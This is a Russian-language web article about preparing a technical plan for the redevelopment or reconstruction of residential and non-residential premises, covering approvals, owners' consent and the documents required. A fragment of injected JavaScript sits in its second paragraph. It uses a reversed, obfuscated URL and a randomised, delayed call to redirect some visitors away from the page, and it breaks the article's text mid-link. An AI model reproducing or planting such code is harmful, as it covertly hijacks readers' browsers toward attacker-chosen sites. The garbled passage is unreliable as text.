Технологический план реконструкции: особенности подготовки

tobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tovka-tehnicheskogo-plana-dlya-pereplanirovki-v-2021-godu/»>Перепланировка квартиры технический план— это документ, отражающий результат изменения или реорганизации внутренней конфигурации объекта, который необходим для проведения кадастрового расчета изменений характеристик дома Росреестра.

Технический план составляется в электронном виде кадастровым инженером и учитывает строительные работы, проведенные при реконструкции дома. Документ формируется на основании согласованного проекта реконструкции, исходной проектной документации и характера выполнения работ.

Порядок внесения информации о реконструкции в ЕГРН разный для жилых и нежилых участков.

Для нежилых участков технический план включает проекты реконструкции и технические заключения, а также правовые документы на участок или здание. Если несущая конструкция не затронута, согласовывать проектную документацию ни с кем не нужно, кроме случаев, когда нежилой дом находится в жилом доме, например, в многоквартирном доме.
Перед началом строительных работ проекты реконструкции жилья на территории Москвы необходимо согласовать с Жилищным надзором Москвы, а в Московской области — с администрацией области. После реконструкции этот же департамент издаст постановление о завершении проекта.
Наши специалисты являются членами профессиональных СРО проектировщика и могут подготовить проекты и технические заключения о возможности перепланировки.

На что следует обратить внимание?
Если реконструкция нежилых домов в многоквартирном доме затрагивает часть государственной собственности, составляется протокол собрания домовладельцев.
Реконструкция в нежилых домах в составе нежилых построек не требует согласования с органами местного самоуправления. Достаточно добавить в технологический план проект перепланировки, отвечающий требованиям регулирующего органа, и получить новый технологический паспорт.
Если помещение находится в совместной собственности, заявку на согласование реконструкции объекта должны подписать все собственники, то есть узаконить строительный проект можно только после получения согласия всех собственников.
При соблюдении всех требований законодательства реальную реконструкцию можно узаконить. По этой причине необходимо оформить технические заключения о безопасности реконструкции, обратиться в отдел жилищного надзора, утвердить реконструкцию и наложить штрафы за самовольную реконструкцию.
Какие документы необходимы для Технологического плана перепланировки здания?
Юридические документы дома или здания, в котором находится дом;
Обговоренные проекты перепланировки;
Технический отчет о состоянии несущей конструкции;
Акт выполнения проекта реконструкции (для жилых домов / нежилых зданий, расположенных в жилых домах);
Технический паспорт / план этажа с инструкциями.